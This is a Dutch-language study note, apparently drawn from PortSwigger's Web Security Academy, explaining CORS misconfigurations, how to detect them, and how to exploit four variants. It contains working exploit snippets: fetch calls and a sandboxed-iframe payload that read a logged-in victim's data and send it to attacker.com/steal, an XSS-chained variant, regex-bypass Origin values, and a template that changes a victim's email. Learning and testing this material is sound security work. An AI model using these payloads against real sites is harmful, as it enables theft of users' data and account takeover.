Skip to content

CORS — Cross-Origin Resource Sharing

Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen


1. Wat is CORS?

CORS is een browsermechanisme dat bepaalt of een webpagina van origin A een request mag maken naar origin B en de response mag lezen.

Een origin bestaat uit drie componenten:

https://example.com:443
│       │           │
scheme  host        port

Alle drie moeten overeenkomen — anders zijn origins cross-origin.

CORS misconfiguraties laten aanvallers toe de same-origin policy te omzeilen en gevoelige data van een andere origin te lezen namens een ingelogde gebruiker.


2. Same-Origin Policy (SOP)

De SOP is de browserbeveiliging die CORS omzeilt wanneer verkeerd geconfigureerd.

Request type Cross-origin toegestaan?
Schrijven (links, redirects, forms) Ja
Lezen (fetch/XHR response body) Nee — SOP blokkeert
Embedding (img, script, iframe src) Ja

SOP beschermt het lezen, niet het sturen

De browser stuurt cross-origin requests gewoon — de server ontvangt ze. Alleen het lezen van de response wordt door SOP geblokkeerd. CORS is een manier om die leesrestrictie voor bepaalde origins te ontspannen.


3. CORS Headers

Response headers (server → browser)

Header Omschrijving
Access-Control-Allow-Origin Welke origin(s) de response mogen lezen (* of een specifieke origin)
Access-Control-Allow-Credentials Of cookies/auth-headers meegestuurd mogen worden (true/false)
Access-Control-Allow-Methods Toegestane HTTP-methoden bij preflight
Access-Control-Allow-Headers Toegestane request-headers bij preflight
Access-Control-Max-Age Hoe lang de browser het preflight-resultaat mag cachen

Request headers (browser → server)

Header Omschrijving
Origin De origin van de pagina die de request maakt

Cruciale combinatie

Een CORS-kwetsbaarheid is enkel exploiteerbaar als beide aanwezig zijn:

Access-Control-Allow-Origin: https://attacker.com   ← aanvallers origin toegestaan
Access-Control-Allow-Credentials: true              ← cookies worden meegestuurd

ACAO: * met ACAC: true is technisch ongeldig — browsers weigeren dat. Exploitatie vereist een dynamisch gereflecteerde specifieke origin.

Preflight Requests

Voor "non-simple" requests stuurt de browser eerst een OPTIONS request:

OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Custom-Header
Request type Preflight vereist?
GET / HEAD / POST (simple headers) Nee
PUT / DELETE / PATCH Ja
Custom headers Ja
Content-Type: application/json Ja

4. Detectie

1. Stuur een request met: Origin: https://attacker.com
2. Kijk naar de response headers:
   - Wordt de Origin gereflecteerd in ACAO?
   - Is ACAC: true aanwezig?

3. Probeer: Origin: null
4. Probeer: Origin: https://trusted-site.com.evil.com
5. Probeer: Origin: https://evil-trusted-site.com
6. Probeer: Origin: https://sub.trusted-site.com

Burp Suite

In Burp Repeater voeg je de Origin header manueel toe aan een request en observeer je de response headers. Burp Scanner detecteert de meest voorkomende CORS-misconfiguraties automatisch.


5. Kwetsbaarheid 1 — Reflected Origin

De server reflecteert de Origin header blindelings terug in Access-Control-Allow-Origin.

Request:
GET /api/userdata HTTP/1.1
Origin: https://attacker.com

Response:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

Exploitatie

fetch('https://vulnerable.com/api/userdata', {
  credentials: 'include'
})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))

Host dit script op attacker.com, laat het slachtoffer de pagina bezoeken → de response (inclusief sessiecookies) wordt naar de aanvaller gestuurd.

Vereiste

Het slachtoffer moet ingelogd zijn op de kwetsbare site op het moment van uitvoering. De browser stuurt automatisch de sessiecookies mee door credentials: 'include'.


6. Kwetsbaarheid 2 — Null Origin

De server staat de null origin expliciet toe:

Request:
Origin: null

Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Wanneer stuurt een browser Origin: null?

  • Cross-origin redirect
  • Serialized data requests
  • Request via file:// protocol
  • Sandboxed iframe — meest bruikbaar voor exploitatie

Exploitatie via sandboxed iframe

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>
  fetch('https://vulnerable.com/api/userdata', {credentials: 'include'})
  .then(r => r.text())
  .then(d => location='https://attacker.com/steal?data='+btoa(d))
</script>">
</iframe>

Een sandboxed iframe heeft altijd Origin: null — waardoor de server de aanvaller toegang geeft.


7. Kwetsbaarheid 3 — Subdomain Trust

De server laat alle subdomeinen van een trusted domain toe:

Request:
Origin: https://malicious.trusted-site.com

Response:
Access-Control-Allow-Origin: https://malicious.trusted-site.com
Access-Control-Allow-Credentials: true

Aanvalsvector: subdomain + XSS

Als er een XSS-kwetsbaarheid op een subdomein bestaat, kan je die combineren:

1. Vind XSS op: https://sub.trusted-site.com
2. Inject via XSS:
fetch('https://trusted-site.com/api/userdata', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))
3. De request komt van https://sub.trusted-site.com → CORS staat het toe
4. Gevoelige data gelekt

Impact

XSS op een subdomein + CORS subdomain trust = volledige data-exfiltratie van de hoofdsite, ook al is die zelf XSS-vrij.


8. Kwetsbaarheid 4 — Regex Bypass

De server valideert de origin via een gebrekkige regex:

# Controleert of origin begint met "trusted-site.com"
Bypass: trusted-site.com.evil.com
# Controleert of origin eindigt met "trusted-site.com"
Bypass: evil-trusted-site.com
# Controleert of origin "trusted-site" bevat
Bypass: evil-trusted-site.com
         trusted-siteevil.com

Testpayloads voor regex bypasses

Origin: https://trusted-site.com.attacker.com
Origin: https://attacker-trusted-site.com
Origin: https://trusted-site.com.evil.com
Origin: https://notreally-trusted-site.com

9. Cheat Sheet

Detectie

Test Kwetsbaar als...
Origin: https://attacker.com ACAO reflecteert https://attacker.com + ACAC: true
Origin: null ACAO: null + ACAC: true
Origin: https://trusted.com.evil.com ACAO reflecteert de bypass origin
Origin: https://evil-trusted.com ACAO reflecteert de bypass origin
Origin: https://sub.trusted.com ACAO reflecteert subdomein

Exploitatie template

// Basis exfiltratie
fetch('https://TARGET.com/api/sensitive', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://ATTACKER.com/steal?d=' + btoa(JSON.stringify(d))))

// Via null origin (sandboxed iframe)
// <iframe sandbox="allow-scripts" srcdoc="<script>PAYLOAD</script>">

// Actie uitvoeren namens slachtoffer
fetch('https://TARGET.com/api/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
})

Headers Samenvatting

Header Veilig Kwetsbaar
ACAO Specifieke whitelist Dynamisch gereflecteerd
ACAO Niet aanwezig * met ACAC: true
ACAC false of afwezig true met dynamische ACAO
Origin validatie Exacte string match Regex / prefix / suffix check